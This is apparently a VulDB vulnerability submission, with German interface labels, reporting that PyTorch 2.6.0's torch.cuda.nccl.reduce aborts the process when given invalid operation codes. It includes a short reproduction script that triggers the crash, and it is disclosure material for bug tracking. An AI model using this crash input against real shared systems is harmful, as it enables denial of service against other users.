Submit #553644: pytorch pytorch (in torch.cuda.nccl.reduce) 2.6.0 Denial of Serviceinfo

Titelpytorch pytorch (in torch.cuda.nccl.reduce) 2.6.0 Denial of Service
BeschreibungWhen using `torch.cuda.nccl.reduce` with invalid operation codes, the program crashes with `Aborted (core dumped)` instead of raising a `RuntimeError` or validating the input. This bug can be exploited for a denial-of-service attack. # To Reproduce ``` import torch import torch.cuda as cuda from torch.cuda.nccl import reduce def test_bug(): # Checking for unsupported operations unsupported_ops = [0xFF, 0xAA] # Example of invalid NCCL operation codes for op in unsupported_ops: input_tensor = torch.tensor([1.0, 2.0, 3.0], device=f'cuda:0') output_tensor = torch.zeros_like(input_tensor) reduce(inputs=[input_tensor], output=output_tensor, root=0, op=op) if __name__ == "__main__": test_bug() ``` # Output ``` Aborted (core dumped) ```
Quelle⚠️ https://github.com/pytorch/pytorch/issues/150836
Benutzer
 Default436352 (UID 81891)
Einreichung08.04.2025 17:11 (vor 12 Monaten)
Moderieren05.05.2025 13:53 (27 days later)
StatusAkzeptiert
VulDB Eintrag307394 [PyTorch 2.6.0+cu124 torch/cuda/nccl.py torch.cuda.nccl.reduce Denial of Service]
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